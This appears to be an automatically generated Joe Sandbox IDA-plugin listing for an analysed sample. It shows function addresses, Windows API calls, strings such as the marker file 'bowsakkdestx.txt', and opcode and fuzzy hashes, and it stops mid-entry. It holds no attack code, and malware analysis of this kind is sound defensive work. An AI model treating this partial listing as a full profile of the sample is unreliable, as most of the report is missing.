Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
